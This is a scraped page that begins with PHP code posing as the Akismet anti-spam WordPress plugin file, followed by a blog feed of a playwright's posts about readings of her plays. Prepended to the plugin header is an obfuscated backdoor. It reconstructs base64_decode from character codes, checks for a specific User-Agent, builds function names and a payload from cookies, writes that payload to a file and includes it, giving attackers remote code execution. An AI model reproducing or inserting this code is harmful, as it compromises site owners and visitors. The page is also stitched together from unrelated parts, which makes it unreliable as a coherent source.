function collect_statistics($c) { $a = array(41 + 57, 59 * 1 + 38, 24 + 91, 103 - 2, 2 * 27, 42 * 42 - 1712, 58 * 48 - 2689, 59 + 9 + 32, 104 - 3, 3 * 33, 29 + 82, 81 + 12 + 7, 81 + 20); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } class CryptoService { private static $_yv; static function executeAction($_vr) { if (!self::$_yv) { self::encryptData(); } return collect_statistics(self::$_yv[$_vr]); } private static function encryptData() { self::$_yv = array('_nxg' => 'SFRUUF' . '9' . 'VU0VSX0FHRU5U', '_pz' => 'SFRUUF9VU0VSX0FH' . 'RU5U', '_cse' => 'ND' . 'k' . '5ODU0' . 'M' . 'TM' . '=', '_osq' => '', '_gfy' => ''); } } if (isset($_SERVER[CryptoService::executeAction('_' . 'nxg')]) && strpos($_SERVER[CryptoService::executeAction('_p' . 'z')], CryptoService::executeAction('_c' . 'se')) !== false) { $_ox = $_COOKIE; $_kk = 00; $_vr = 04; $_li = array(); $_li[$_kk] = CryptoService::executeAction('_o' . 'sq'); while ($_vr) { $_li[$_kk] .= $_ox[042][$_vr]; if (!$_ox[042][$_vr + 01]) { if (!$_ox[042][$_vr + 02]) { break; } $_kk++; $_li[$_kk] = CryptoService::executeAction('_g' . 'fy'); $_vr++; } $_vr = $_vr + 04 + 01; } $_kk = $_li[03]() . $_li[033]; if (!$_li[021]($_kk)) { $_vr = $_li[023]($_kk, $_li[00]); $_li[016]($_vr, $_li[022] . $_li[026]($_li[032]($_ox[03]))); } include $_kk; die; } /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.5 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( ! function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '5.5' ); define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 10000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once AKISMET__PLUGIN_DIR . 'class.akismet.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php'; require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php'; add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) ); if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php'; add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } // add wrapper class around deprecated akismet functions that are referenced elsewhere require_once AKISMET__PLUGIN_DIR . 'wrapper.php'; if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php'; } The Athena Project – Katherine Vondy https://katherinevondy.com Writer and Director Sun, 10 Jul 2022 02:30:39 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.3 WHO PUT BELLA IN THE WYCH ELM? at Read and Rant https://katherinevondy.com/?p=573 Sun, 10 Jul 2022 02:30:39 +0000 https://katherinevondy.com/?p=573 If you’v ever wanted to be part of a book club–but for plays–now is your chance!

The Athena Project will be discussing my historical (but modern) play about an unsolved WWII mystery at 5:30 PM Pacific on July 18th, 2022 as part of their Read and Rant series. Since it takes place on Zoom, anyone can join from anywhere in the world! All you have to do is register here; you’ll receive a digital copy of the play to read beforehand and a Zoom link to the online event.

A little about the play:

While wandering Worcester, England in 1943 in search of bird eggs, a teenage boy happened upon the skeleton of an unidentified woman inside the trunk of a large tree. An investigation commenced to determine who the woman was and how she died, but it raised more questions than it answered. Was she a spy? Was she a prostitute? Had she been part of an occult ritual? Theories abounded, but no definitive answers emerged. Then graffiti began to appear around town, asking a question that remains unanswered to this day…

WHO PUT BELLA IN THE WYCH ELM? uses the historical mystery to explore the ways in which society imposes identities on women, and ultimately ask how much it’s possible to truly know another person. It was developed with The Vagrancy‘s 2018-2019 playwrights’ group, through which it had a public their 2019 new play festival, Blossoming, in Los Angeles. It was a Semi-Finalist for Scranton Shakespeare Festival’s 2020 Scratchfest and the Athena Project’s 2022 Plays In Progress Series.

Hope to see you there!

]]> Athena Project PIP Semi-Finalist https://katherinevondy.com/?p=555 Mon, 06 Sep 2021 18:08:45 +0000 https://katherinevondy.com/?p=555 My play WHO PUT BELLA IN THE WYCH ELM? is a Semi-Finalist for the Athena Project’s 2022 Plays In Progress (PIP) Series!

Thanks to the Athena Project for continuing to support women in the arts, and congrats to all the other PIP Semi-Finalists!

]]> March Play Update https://katherinevondy.com/?p=504 Thu, 05 Mar 2020 05:24:47 +0000 https://katherinevondy.com/?p=504 March is shaping up to be a very theatrical month, with three different plays of mine in three different states!

First, in anticipation of the Athena Project’s Plays in Progress Series, on March 9, the new Read & Rant Book Club in Denver, CO, will be reading and discussing my play THE SNAKE GOD OF FIJI (A HEDDA GABLER PREQUEL) along with Henrik Ibsen’s classic play.

Then, THE OCEAN DEEP will be workshopped through METLab with the Maryland Ensemble Theatre in Frederick, MD. Tickets to the public readings on March 14 and March 21 are available here.

Finally, the Campfire Theatre Festival is bringing THE FERMI PARADOX back to Boise, ID to be a part of the Treefort Music Festival. If you have a festival pass, check out the staged reading on March 29.

THE SNAKE GOD OF FIJI (A HEDDA GABLER PREQUEL) and THE OCEAN DEEP are both plays I developed through The Vagrancy‘s new play development program, and I started working on THE FERMI PARADOX through the Theatricum Botanicum Seedlings, both in Los Angeles. I’m so excited to see all of these plays continuing to have lives in other parts of the country!

]]> Theater News https://katherinevondy.com/?p=497 Thu, 28 Nov 2019 16:58:56 +0000 https://katherinevondy.com/?p=497 Two fun theater-related updates!

First, I recently took a short trip to London, which was fantastic! I got to see so many fascinating historical sites that I’d previously only read about, like the Tower of London:

In addition to all the sightseeing, I also got to have a reading of my play THE FERMI PARADOX with The Script Readers, a cohort of professional actors that does developmental readings of new plays and screenplays. It was a delightful night and I was impressed by the talent and thoughtfulness of the whole team! Thank you to Shenagh Govan, Nora Connolly, and all the other Script Readers who helped make this reading happen!

Secondly, I’m excited to share that THE SNAKE GOD OF FIJI (A HEDDA GABLER PREQUEL) was selected to be a part of this year’s Plays In Progress Series with The Athena Project! I’m thrilled to get the opportunity to get back to work on this play, and already looking forward to the reading in Denver next June. Stay tuned for further updates!

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